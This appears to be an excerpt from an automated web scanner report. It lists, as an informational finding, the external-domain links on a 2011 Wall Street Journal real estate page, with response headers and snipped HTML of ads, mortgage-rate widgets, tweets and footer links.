...[SNIP]...
<td class="br-loantypes"><a target="_blank" href="http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=5">30 yr FHA mtg</a>
...[SNIP]...
<td class="br-chart"><a target="_blank" href="http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=333">see chart</a>
...[SNIP]...
</label>
<a href="http://www.bankrate.com" target="_blank" class="bankrate-link">Provided by Bankrate</a>
...[SNIP]...
<li><a href="http://twitter.com/wsjrealestate" class="pol_icn_twitter icon" >Twitter</a>
...[SNIP]...
<li><a href="http://www.facebook.com/wsjrealestate" class="pol_icn_facebook icon" >Facebook</a>
...[SNIP]...
<li>

<a href="http://twitter.com/RWhelanWSJ"> <img src="http://a1.twimg.com/profile_images/1149585332/twittershot_normal.JPG" alt="http://twitter.com/RWhelanWSJ" height="48" width="48"/></a>
<p><a href="http://twitter.com/RWhelanWSJ"><b>
...[SNIP]...
<span class="sourceLink">: RT <a href="http://twitter.com/AndrewKroll">@AndrewKroll</a>: An email I just rec'd: "You can now publish your Myspace page within your Facebook fan page." Ouch. <a href="http://search.twitter.com/search?q=%23dyingthroes" onclick="pageTracker._setCustomVar(2, 'result_type', 'recent', 3);pageTracker._trackPageview('/intra/hashtag/#dyingthroes');">#dyingthroes</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/RWhelanWSJ/statuses/69128169650786304">5 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/dwotapka"> <img src="http://a1.twimg.com/profile_images/68204098/WotapkaSABEW_normal.jpg" alt="http://twitter.com/dwotapka" height="48" width="48"/></a>
<p><a href="http://twitter.com/dwotapka"><b>dwotapka</b></a><span class="sourceLink">: RT <a href="http://twitter.com/rwhelanwsj">@rwhelanwsj</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/dwotapka/statuses/69124692681826304">5 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/RWhelanWSJ"> <img src="http://a1.twimg.com/profile_images/1149585332/twittershot_normal.JPG" alt="http://twitter.com/RWhelanWSJ" height="48" width="48"/></a>
<p><a href="http://twitter.com/RWhelanWSJ"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/RWhelanWSJ/statuses/69124541405863936">5 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/RWhelanWSJ"> <img src="http://a1.twimg.com/profile_images/1149585332/twittershot_normal.JPG" alt="http://twitter.com/RWhelanWSJ" height="48" width="48"/></a>
<p><a href="http://twitter.com/RWhelanWSJ"><b>
...[SNIP]...
<span class="sourceLink">: This is the best twitter feed on the whole internet: <a href="http://twitter.com/big_ben_clock">@big_ben_clock</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/RWhelanWSJ/statuses/69048940602986497">10 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/RWhelanWSJ"> <img src="http://a1.twimg.com/profile_images/1149585332/twittershot_normal.JPG" alt="http://twitter.com/RWhelanWSJ" height="48" width="48"/></a>
<p><a href="http://twitter.com/RWhelanWSJ"><b>
...[SNIP]...
<span class="sourceLink">: Taibbi's latest attack on Goldman Sachs makes analysts change their ratings, knocks $5 off GS's share price. Wow. <a href="http://reut.rs/l6eOOY">http://reut.rs/l6eOOY</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/RWhelanWSJ/statuses/69048469771395073">10 hrs ago</a>
...[SNIP]...
<li>
<a class="followTw" href="http://twitter.com/wsj">Follow WSJ on</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;239193527;5644102;g?http://clk.atdmt.com/DEN/go/305523490/direct/01/" target="_blank">ETFs sponsored by iShares</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;241113004;29011447;j?http://ad.doubleclick.net/clk;241083849;63189073;p;pc=[TPAS_ID]" target="_blank">BPR Beyond Cost-Cutting sponsored by SAP</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;235473066;5644102;b?http://altfarm.mediaplex.com/ad/ck/17912-125067-1281-1" target="_blank">The Sports Club Presented by iMeet</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;240570205;11024269;p?http://www.supplychainriskinsights.com" target="_blank">Supply Chain Risk Insights presented by Zurich</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.marketwatch.com/brokercenter?reflink=djm_mwbrokercenter_wsjsaslink" target="_blank">Compare current broker offers on MarketWatch.com</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;240533406;6853491;g?http://online.wsj.com/ad/privatewealth" target="_blank">How alternative investments fit in a portfolio</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;236877924;29011447;p?http://journalinsider.com/" target="_blank">Become a Wall Street Journal Insider today</a>
...[SNIP]...
<noscript>
   <iframe src="http://fls.doubleclick.net/activityi;src=490793;type=conte003;cat=reale233;ord=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...
</div>
<a rel="entry-content" href="http://ie8.smoothfusion.com/WallStreetJournal/view.aspx">LINKS TO ACTUAL PAGE CONTAINING WEB SLICE FUNCTIONALITY.</a>
<a rel="bookmark" target="_blank" href="http://www.wallstreetjournal.com" ></a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.djreprints.com/?mod=WSJ_footer">Reprints</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.wsjdigital.com/?mod=WSJ_footer">Advertising</a>
...[SNIP]...
<li><a href="http://www.wsjlocal.com/?mod=WSJ_footer" rel="nofollow">Advertise Locally</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.dj.com/?mod=WSJ_footer">About Dow Jones</a>
...[SNIP]...
<li id="futureLeadProgLink" style="display:none;"><a href="http://www.wsj-asia.com/flp/about.html?mod=WSJ_footer" rel="nofollow">Future Leadership Program</a>
...[SNIP]...
<li><a href="https://www.wsjsafehouse.com/">SafeHouse - Send Us Information</a>
...[SNIP]...
<li><a class="icon_facebook" href="http://www.facebook.com/wsjonline?mod=WSJ_footer" target="_blank">WSJ on Facebook</a>
...[SNIP]...
<li><a href="http://wsj.iamplify.com/?mod=WSJ_footer">WSJ Digital Downloads</a>
...[SNIP]...
<li><a href="http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink&mod=WSJ_footer">Marketwatch.com</a>
...[SNIP]...
<li><a href="http://online.barrons.com/public/main?mod=WSJ_footer">Barrons.com</a>
...[SNIP]...
<li><a href="http://www.smartmoney.com/?mod=WSJ_footer">SmartMoney.com</a>
...[SNIP]...
<li><a href="http://allthingsd.com/?reflink=DNH_EUR&mod=WSJ_footer">AllThingsD.com</a>
...[SNIP]...
<li class="fins"><a href="http://www.fins.com/?mod=WSJ_footer">FINS:</a> <a href="http://www.fins.com/finance/?mod=WSJ_footer">Finance,</a> <a href="http://it-jobs.fins.com/?mod=WSJ_footer">IT jobs,</a> <a href="http://sales-jobs.fins.com/?mod=WSJ_footer">Sales jobs</a>
...[SNIP]...
<li><a href="http://bigcharts.marketwatch.com/?mod=WSJ_footer">BigCharts.com</a>
...[SNIP]...
<li><a href="http://vse.marketwatch.com/Game/Homepage.aspx?mod=WSJ_footer">Virtual Stock Exchange</a>
...[SNIP]...
<li><a rel="nofollow" href="http://wsjradio.com?mod=WSJ_footer">WSJ Radio</a>
...[SNIP]...
<small class="acapLogo"><a href="http://the-acap.org/acap-enabled.php?mod=WSJ_footer" target="_blank"><span>
...[SNIP]...
<noscript>
   <img src="http://ad.doubleclick.net/activity;src=966743;type=reale487;cat=reale514;ord=1?" width="1" height="1" border="0" alt=""/>
</noscript>
...[SNIP]...

19.125. http://online.wsj.com/public/page/news-real-estate-homes.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-real-estate-homes.html

Issue detail

The page was loaded from a URL containing a query string:

http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main

The response contains the following links to other domains:

http://a0.twimg.com/profile_images/423199898/BobPhoto_normal.jpg
http://a1.twimg.com/profile_images/1149585332/twittershot_normal.JPG
http://a1.twimg.com/profile_images/68204098/WotapkaSABEW_normal.jpg
http://ad.doubleclick.net/activity;src=966743;type=reale487;cat=reale514;ord=1?
http://ad.doubleclick.net/clk;213740452;3281750;x?http://www.hallandhall.com
http://ad.doubleclick.net/clk;222012065;3281750;p?http://roipropertiesaz.com/
http://ad.doubleclick.net/clk;222860177;3281750;e?http://www.getmyhomesvalue.com/home-value
http://ad.doubleclick.net/clk;227510881;29011447;b?http://online.wsj.com/ad/top400_09.html
http://ad.doubleclick.net/clk;232096418;3281750;e?http://www.roundhillpartners.com/index.asp
http://ad.doubleclick.net/clk;232567524;29011447;d?http://www.gbci.org/main-nav/professional-credentials/credentials.aspx
http://ad.doubleclick.net/clk;233137626;29011447;a?http://www.mwvlandsales.com
http://ad.doubleclick.net/clk;233237390;29011447;z?http://www.markdavidny.com
http://ad.doubleclick.net/clk;233237495;29011447;f?http://www.loopnet.com/
http://ad.doubleclick.net/clk;235445791;29011447;h?http://www.luxuryhomemarketing.com/real-estate-agents/home.html
http://ad.doubleclick.net/clk;235473066;5644102;b?http://altfarm.mediaplex.com/ad/ck/17912-125067-1281-1
http://ad.doubleclick.net/clk;235665834;29011447;j?http://www.sapphiretower.net
http://ad.doubleclick.net/clk;236871636;29011447;j?http://www.springisland.com/?utm_source=wsj&utm_medium=news&utm_campaign=wsj-ad
http://ad.doubleclick.net/clk;236877924;29011447;p?http://journalinsider.com/
http://ad.doubleclick.net/clk;237526483;29011447;h?http://sothebysrealty.com
http://ad.doubleclick.net/clk;237739311;29011447;d?http://www.westinhoustonresidences.com
http://ad.doubleclick.net/clk;239193527;5644102;g?http://clk.atdmt.com/DEN/go/305523490/direct/01/
http://ad.doubleclick.net/clk;239940992;29011447;o?http://www.ricklevin.com
http://ad.doubleclick.net/clk;239952217;29011447;h?http://OBXwebsite.com
http://ad.doubleclick.net/clk;239987365;29011447;t?http://www.usgbc.org/DisplayPage.aspx?CMSPageID=2331
http://ad.doubleclick.net/clk;240042481;29011447;s?http://www.homgroup.com/
http://ad.doubleclick.net/clk;240104321;29011447;k?http://www.pbrsales.com
http://ad.doubleclick.net/clk;240515941;29011447;y?http://www.danielisland.com/mitchell-wharf?utm_source=wsj&utm_medium=textad&utm_campaign=mitchell%2Bwharf
http://ad.doubleclick.net/clk;240533406;6853491;g?http://online.wsj.com/ad/privatewealth
http://ad.doubleclick.net/clk;240570205;11024269;p?http://www.supplychainriskinsights.com
http://ad.doubleclick.net/clk;240754894;29011447;k?http://www.tranzon.com/Propertydetail.aspx?id=8775
http://ad.doubleclick.net/clk;241113004;29011447;j?http://ad.doubleclick.net/clk;241083849;63189073;p;pc=[TPAS_ID]
http://adsyndication.msn.com/delivery/getads.js
http://allthingsd.com/
http://allthingsd.com/?reflink=DNH_EUR&mod=WSJ_footer
http://bigcharts.marketwatch.com/
http://bigcharts.marketwatch.com/?mod=WSJ_footer
http://fls.doubleclick.net/activityi;src=490793;type=conte003;cat=reale233;ord=1?
http://ie8.smoothfusion.com/WallStreetJournal/view.aspx
http://it-jobs.fins.com/?mod=WSJ_footer
http://itunes.apple.com/us/app/marketwatch-market-data-app/id426151836?mt=8
http://online.barrons.com/home
http://online.barrons.com/public/main?mod=WSJ_footer
http://p01.bestplaces.net/ws/bestplacestolive.aspx
http://sales-jobs.fins.com/?mod=WSJ_footer
http://search.twitter.com/search?q=%23dyingthroes
http://the-acap.org/acap-enabled.php?mod=WSJ_footer
http://twitter.com/AndrewKroll
http://twitter.com/JamesRHagerty
http://twitter.com/JamesRHagerty/statuses/69248388331352066
http://twitter.com/RWhelanWSJ
http://twitter.com/RWhelanWSJ/statuses/69048940602986497
http://twitter.com/RWhelanWSJ/statuses/69124541405863936
http://twitter.com/RWhelanWSJ/statuses/69128169650786304
http://twitter.com/big_ben_clock
http://twitter.com/dwotapka
http://twitter.com/dwotapka/statuses/69124692681826304
http://twitter.com/rwhelanwsj
http://twitter.com/wsj
http://twitter.com/wsjrealestate
http://vse.marketwatch.com/Game/Homepage.aspx
http://vse.marketwatch.com/Game/Homepage.aspx?mod=WSJ_footer
http://wsj.iamplify.com/?mod=WSJ_footer
http://wsjradio.com/?mod=WSJ_footer
http://www.bankrate.com/
http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=1
http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=10
http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=325
http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=333
http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=341
http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=1
http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=2
http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=4
http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=5
http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=6
http://www.bankrate.com/wsj/rate/rate_center.asp
http://www.dj.com/?mod=WSJ_footer
http://www.djreprints.com/?mod=WSJ_footer
http://www.efinancialnews.com/
http://www.erealinvestor.com/w/dowjones_n.html
http://www.facebook.com/wsjonline?mod=WSJ_footer
http://www.facebook.com/wsjrealestate
http://www.fins.com/
http://www.fins.com/?mod=WSJ_footer
http://www.fins.com/finance/?mod=WSJ_footer
http://www.markdavidny.com/
http://www.marketwatch.com/
http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink&mod=WSJ_footer
http://www.marketwatch.com/brokercenter?reflink=djm_mwbrokercenter_wsjsaslink
http://www.smartmoney.com/
http://www.smartmoney.com/?mod=WSJ_footer
http://www.smartmoney.com/personal-finance/real-estate/do-you-need-a-buyers-agent-1304523622290/
http://www.wallstreetjournal.com/
http://www.weichert.com/
http://www.wsj-asia.com/flp/about.html?mod=WSJ_footer
http://www.wsjdigital.com/?mod=WSJ_footer
http://www.wsjlocal.com/
http://www.wsjlocal.com/?mod=WSJ_footer
http://www.wsjradio.com/
http://www.wsjwine.com/
https://www.wsjsafehouse.com/
https://www.wsjwine.com/2861001?mod=djm_offermodule_2011

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:24:06 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep06 - Sat 05/14/11 - 00:37:00 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:24:21 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 167303

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<li class="hat_tab" id="hat_tab2">
<a onclick="hat.track('MW')" href="http://www.marketwatch.com" id="hat_link2"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab3">
<a onclick="hat.track('BOL')" href="http://online.barrons.com/home" id="hat_link3"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab4">
<a onclick="hat.track('ATD')" href="http://allthingsd.com" id="hat_link4"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab6">
<a onclick="hat.track('FINS')" href="http://www.fins.com" id="hat_link5"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab7">
<a onclick="hat.track('SM')" href="http://www.smartmoney.com" id="hat_link6"></a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more0"><a href="http://bigcharts.marketwatch.com/">Big Charts</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more1"><a href="http://vse.marketwatch.com/Game/Homepage.aspx">Virtual Stock Exchange</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more8"><a href="http://www.wsjradio.com">WSJ Radio</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more9"><a href="http://www.efinancialnews.com/">Financial News</a>
...[SNIP]...
<li class="hat_drop_item lifestyleItem" id="hat_more11"><a href="http://www.wsjwine.com/">WSJ<span>
...[SNIP]...
<h2><a href="http://www.smartmoney.com/personal-finance/real-estate/do-you-need-a-buyers-agent-1304523622290/">Home Buyers Go Hunting Alone
</a>
...[SNIP]...
<li class="first"><a href="http://p01.bestplaces.net/ws/bestplacestolive.aspx">Best Places to Live</a>
...[SNIP]...
<li><a href="http://www.bankrate.com/wsj/rate/rate_center.asp">Mortgage Rates</a>
...[SNIP]...
<li class="last"><a href="http://www.erealinvestor.com/w/dowjones_n.html">Analyze Your Property</a>
...[SNIP]...
<li class="offer offer2">
               <a href="http://itunes.apple.com/us/app/marketwatch-market-data-app/id426151836?mt=8">
           <span class="offerGraphic">
...[SNIP]...
<li class="offer offer3 offerLast">
               <a href="https://www.wsjwine.com/2861001?mod=djm_offermodule_2011">
                   <span class="offerGraphic">
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...
<li class="top">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;232096418;3281750;e?http://www.roundhillpartners.com/index.asp">
Greenwich Connecticut MLS
</a>
...[SNIP]...
<li class="top">
<a target="_blank" rel="" href="http://ad.doubleclick.net/clk;236871636;29011447;j?http://www.springisland.com/?utm_source=wsj&utm_medium=news&utm_campaign=wsj-ad">
Carolina Island Living
</a>
...[SNIP]...
<li class="top">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;240042481;29011447;s?http://www.homgroup.com/ ">
CALIFORNIA BEACH HOMES
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;213740452;3281750;x?http://www.hallandhall.com">
Farms and Ranches
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;222012065;3281750;p?http://roipropertiesaz.com/">
AZ Foreclosures From $20K
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;222860177;3281750;e?http://www.getmyhomesvalue.com/home-value">
Find Your Home Value
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;233237390;29011447;z?http://www.markdavidny.com">
New York City Apartments
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;233237495;29011447;f?http://www.loopnet.com/">
Commercial Search
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;237526483;29011447;h?http://sothebysrealty.com">
Sotheby's International Realty
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://www.wsjlocal.com/">
Advertise Locally on WSJ.com
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;227510881;29011447;b?http://online.wsj.com/ad/top400_09.html">
Top 400 RE Agents
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;235445791;29011447;h?http://www.luxuryhomemarketing.com/real-estate-agents/home.html">
Find a Luxury Agent
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="_nofollow" href="http://ad.doubleclick.net/clk;235665834;29011447;j?http://www.sapphiretower.net">
San Diego Luxury High Rise
</a>
...[SNIP]...
<li class=" odd">
<a target="" rel="" href="http://www.markdavidny.com">
New York City Apartments
</a>
...[SNIP]...
<li class=" ">
<a target="" rel="" href="http://www.weichert.com">
Weichert, Realtors
</a>
...[SNIP]...
<li class=" odd">
<a target="" rel="" href="http://ad.doubleclick.net/clk;237739311;29011447;d?http://www.westinhoustonresidences.com">
Live Atop New Houston Hotel
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;239952217;29011447;h?http://OBXwebsite.com">
OBX Vacations & Sales
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;239940992;29011447;o?http://www.ricklevin.com ">
AUCTION! ChgoMotorClubBldg
</a>
...[SNIP]...
<li class=" ">
<a target="_self" rel="" href="http://ad.doubleclick.net/clk;240104321;29011447;k?http://www.pbrsales.com ">
Island Ownership Opportunity
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;239987365;29011447;t?http://www.usgbc.org/DisplayPage.aspx?CMSPageID=2331">
The Business Case for LEED
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;232567524;29011447;d?http://www.gbci.org/main-nav/professional-credentials/credentials.aspx#">
LEED Professional Credentials
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;233137626;29011447;a?http://www.mwvlandsales.com">
Investment Land for Sale
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;240515941;29011447;y?http://www.danielisland.com/mitchell-wharf?utm_source=wsj&utm_medium=textad&utm_campaign=mitchell%2Bwharf ">
Charleston SC Deep Water Lots
</a>
...[SNIP]...
<li class=" odd">
<a target="_self" rel="nofollow" href="http://ad.doubleclick.net/clk;240754894;29011447;k?http://www.tranzon.com/Propertydetail.aspx?id=8775 ">
150K +/- SF Food Grade Dist Facility
</a>
...[SNIP]...
<td class="br-loantypes"><a target="_blank" href="http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=1">30 yr fixed mtg</a>
...[SNIP]...
<td class="br-chart"><a target="_blank" href="http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=1">see chart</a>
...[SNIP]...
<td class="br-loantypes"><a target="_blank" href="http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=2">15 yr fixed mtg</a>
...[SNIP]...
<td class="br-chart"><a target="_blank" href="http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=10">see chart</a>
...[SNIP]...
<td class="br-loantypes"><a target="_blank" href="http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=6">5/1 ARM</a>
...[SNIP]...
<td class="br-chart"><a target="_blank" href="http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=341">see chart</a>
...[SNIP]...
<td class="br-loantypes"><a target="_blank" href="http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=4">30 yr fixed jumbo mtg</a>
...[SNIP]...
<td class="br-chart"><a target="_blank" href="http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=325">see chart</a>
...[SNIP]...
<td class="br-loantypes"><a target="_blank" href="http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=5">30 yr FHA mtg</a>
...[SNIP]...
<td class="br-chart"><a target="_blank" href="http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=333">see chart</a>
...[SNIP]...
</label>
<a href="http://www.bankrate.com" target="_blank" class="bankrate-link">Provided by Bankrate</a>
...[SNIP]...
<li><a href="http://twitter.com/wsjrealestate" class="pol_icn_twitter icon" >Twitter</a>
...[SNIP]...
<li><a href="http://www.facebook.com/wsjrealestate" class="pol_icn_facebook icon" >Facebook</a>
...[SNIP]...
<li>

<a href="http://twitter.com/JamesRHagerty"> <img src="http://a0.twimg.com/profile_images/423199898/BobPhoto_normal.jpg" alt="http://twitter.com/JamesRHagerty" height="48" width="48"/></a>
<p><a href="http://twitter.com/JamesRHagerty"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/JamesRHagerty/statuses/69248388331352066">41 min ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/RWhelanWSJ"> <img src="http://a1.twimg.com/profile_images/1149585332/twittershot_normal.JPG" alt="http://twitter.com/RWhelanWSJ" height="48" width="48"/></a>
<p><a href="http://twitter.com/RWhelanWSJ"><b>
...[SNIP]...
<span class="sourceLink">: RT <a href="http://twitter.com/AndrewKroll">@AndrewKroll</a>: An email I just rec'd: "You can now publish your Myspace page within your Facebook fan page." Ouch. <a href="http://search.twitter.com/search?q=%23dyingthroes" onclick="pageTracker._setCustomVar(2, 'result_type', 'recent', 3);pageTracker._trackPageview('/intra/hashtag/#dyingthroes');">#dyingthroes</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/RWhelanWSJ/statuses/69128169650786304">8 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/dwotapka"> <img src="http://a1.twimg.com/profile_images/68204098/WotapkaSABEW_normal.jpg" alt="http://twitter.com/dwotapka" height="48" width="48"/></a>
<p><a href="http://twitter.com/dwotapka"><b>dwotapka</b></a><span class="sourceLink">: RT <a href="http://twitter.com/rwhelanwsj">@rwhelanwsj</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/dwotapka/statuses/69124692681826304">8 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/RWhelanWSJ"> <img src="http://a1.twimg.com/profile_images/1149585332/twittershot_normal.JPG" alt="http://twitter.com/RWhelanWSJ" height="48" width="48"/></a>
<p><a href="http://twitter.com/RWhelanWSJ"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/RWhelanWSJ/statuses/69124541405863936">8 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/RWhelanWSJ"> <img src="http://a1.twimg.com/profile_images/1149585332/twittershot_normal.JPG" alt="http://twitter.com/RWhelanWSJ" height="48" width="48"/></a>
<p><a href="http://twitter.com/RWhelanWSJ"><b>
...[SNIP]...
<span class="sourceLink">: This is the best twitter feed on the whole internet: <a href="http://twitter.com/big_ben_clock">@big_ben_clock</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/RWhelanWSJ/statuses/69048940602986497">13 hrs ago</a>
...[SNIP]...
<li>
<a class="followTw" href="http://twitter.com/wsj">Follow WSJ on</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;239193527;5644102;g?http://clk.atdmt.com/DEN/go/305523490/direct/01/" target="_blank">ETFs sponsored by iShares</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;241113004;29011447;j?http://ad.doubleclick.net/clk;241083849;63189073;p;pc=[TPAS_ID]" target="_blank">BPR Beyond Cost-Cutting sponsored by SAP</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;235473066;5644102;b?http://altfarm.mediaplex.com/ad/ck/17912-125067-1281-1" target="_blank">The Sports Club Presented by iMeet</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;240570205;11024269;p?http://www.supplychainriskinsights.com" target="_blank">Supply Chain Risk Insights presented by Zurich</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.marketwatch.com/brokercenter?reflink=djm_mwbrokercenter_wsjsaslink" target="_blank">Compare current broker offers on MarketWatch.com</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;240533406;6853491;g?http://online.wsj.com/ad/privatewealth" target="_blank">How alternative investments fit in a portfolio</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;236877924;29011447;p?http://journalinsider.com/" target="_blank">Become a Wall Street Journal Insider today</a>
...[SNIP]...
<noscript>
   <iframe src="http://fls.doubleclick.net/activityi;src=490793;type=conte003;cat=reale233;ord=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...
</div>
<a rel="entry-content" href="http://ie8.smoothfusion.com/WallStreetJournal/view.aspx">LINKS TO ACTUAL PAGE CONTAINING WEB SLICE FUNCTIONALITY.</a>
<a rel="bookmark" target="_blank" href="http://www.wallstreetjournal.com" ></a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.djreprints.com/?mod=WSJ_footer">Reprints</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.wsjdigital.com/?mod=WSJ_footer">Advertising</a>
...[SNIP]...
<li><a href="http://www.wsjlocal.com/?mod=WSJ_footer" rel="nofollow">Advertise Locally</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.dj.com/?mod=WSJ_footer">About Dow Jones</a>
...[SNIP]...
<li id="futureLeadProgLink" style="display:none;"><a href="http://www.wsj-asia.com/flp/about.html?mod=WSJ_footer" rel="nofollow">Future Leadership Program</a>
...[SNIP]...
<li><a href="https://www.wsjsafehouse.com/">SafeHouse - Send Us Information</a>
...[SNIP]...
<li><a class="icon_facebook" href="http://www.facebook.com/wsjonline?mod=WSJ_footer" target="_blank">WSJ on Facebook</a>
...[SNIP]...
<li><a href="http://wsj.iamplify.com/?mod=WSJ_footer">WSJ Digital Downloads</a>
...[SNIP]...
<li><a href="http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink&mod=WSJ_footer">Marketwatch.com</a>
...[SNIP]...
<li><a href="http://online.barrons.com/public/main?mod=WSJ_footer">Barrons.com</a>
...[SNIP]...
<li><a href="http://www.smartmoney.com/?mod=WSJ_footer">SmartMoney.com</a>
...[SNIP]...
